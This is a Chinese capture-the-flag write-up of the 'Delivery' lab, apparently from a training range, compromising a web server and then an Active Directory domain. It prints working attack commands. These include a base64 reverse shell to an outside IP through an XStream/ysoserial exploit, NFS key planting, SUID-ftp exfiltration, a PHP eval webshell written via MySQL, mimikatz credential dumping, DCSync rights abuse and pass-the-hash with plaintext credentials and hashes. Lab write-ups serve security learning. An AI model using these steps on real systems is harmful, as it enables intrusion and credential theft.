渗透
春秋云镜-Delivery
flag01
请测试 Delivery 暴露在公网上的 Web 应用的安全性,并尝试获取在该服务器上执行任意命令的能力。
fscan扫一下
1 | fscan -h 39.99.142.217 |
存在ftp匿名登录,还有一个web服务
把ftp里面的文件下下来
1 |
|
存在xstream 1.4.16和cc依赖,根据文章进行复现
先利用yso启动一个恶意RMI服务
1 | java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTYuMjM4LjIzMy41NS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" |
再开启监听
1 | nc -lvvp 2333 |
发包
1 | POST /just_sumbit_it |
直接是root了,舒服.
1 | cat /r*/f*/f* |
flag01: flag{d372ea01-40af-460a-80c9-753780de77e0}
flag02
为了实现跨机器和跨操作系统的文件共享,管理员在内网部署了 NFS,然而这个决策却使得该服务器陷入了潜在的安全风险。你的任务是尝试获取该服务器的控制权,以评估安全性。
外网已经是root了,我们先上线vshell,然后扫一下内网
1 | ./fscan -h 172.22.13.14/24 |
小小总结一下
172.22.13.6 WIN-DC
172.22.13.14 外网主机
172.22.13.28 WIN-HAUWOLAO.xiaorang.lab
172.22.13.57 CentOS
提示说到了NFS服务,那我们对2049端口进行扫描
1 | ./fscan -h 172.22.13.0/24 -p 2049 |
然后查看可挂载的目录
1 | proxychains -q showmount -e 172.22.13.57 |
本来想直接把joyce目录挂载到本地来,但是mount好像不走proxychains的流量,所以挂载不下来。
最后选择先ssh到外网主机,然后下载一个mount,在挂载到外网主机,写ssh公钥给joyce用户nfs-common offline installer for ubuntu 20.04.5 LTS · GitHub
run.sh
1 | wget http://archive.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-common_1.3.4-2.5ubuntu3_amd64.deb |
安装好后挂载到tmp目录
1 | mount -t nfs 172.22.13.57:/home/joyce tmp |
df -h 查看的确挂载成功了。
然后写公钥,ssh上去。
发现根目录放了一个域账号的密码:xiaorang.lab/zhangwen\QT62f3gBhK1
查看suid发现存在pkexec和ftp命令
直接试一下Pwnkit,失败了
然后再看看ftpftp | GTFOBins
可以利用这个文件上传,直接把flag01传上去
外网主机开启ftp服务
1 | python3 -m pyftpdlib -p 8888 -u test -P test -w |
172.22.13.57
1 | cd / |
成功上传,然后直接读取flag
flag02: flag{341e34f5-8d96-46c0-9221-3a4260487176}
flag03
请尝试获取内网中运行 OA 系统的服务器权限,并获取该服务器上的机密文件。
刚刚fscan扫出来一个数据库的弱口令,直接连上去先。
查看有无写入权限
1 | show variables like "secure_file_priv"; |
为空说明有权限写入文件
查看插件目录路径
1 | show variables like "%plugin%"; |
拿到C:\phpstudy_pro\
直接写webshell到C:\phpstudy_pro\www
1 | select "<?php eval($_POST[1]);phpinfo();?>" into outfile "C:\\phpstudy_pro\\www\\shell.php"; |
flag03: flag{55908de1-6d6c-4743-ba6c-e2cdebf0facf}
flag04
由于域管理员错误的配置,导致域内某个用户拥有危险的 DACL。你的任务是找到该用户,并评估这个配置错误所带来的潜在危害。
webshell是system权限,直接传个mimikatz上传,拿一下哈希。
1 | C:\Users\Administrator\flag> mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" |
发现一个用户
1 | * Username : chenglei |
查看chenglei用户的权限
1 | net user chenglei /domain |
是ACL Admin组内成员也就是说chenglei用户有WriteDacl权限,所以说可以像exchange那样打:我们直接给自己dsync权限,然后就可以dump到域管哈希了
加权限
1 | proxychains -q python3 dacledit.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -action write -rights DCSync -principal chenglei -target-dn 'DC=xiaorang,DC=lab' -dc-ip 172.22.13.6 |
dump 哈希
1 | proxychains -q impacket-secretsdump xiaorang.lab/chenglei:Xt61f3LBhg1@WIN-DC.xiaorang.lab -target-ip 172.22.13.6 -just-dc-ntlm -history -user-status |
PTH
1 | proxychains -q crackmapexec smb 172.22.13.6 -u administrator -H6341235defdaed66fb7b682665752c9a -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt" |
flag04: flag{33454313-e8d4-40db-8542-41222632bb89}
参考文章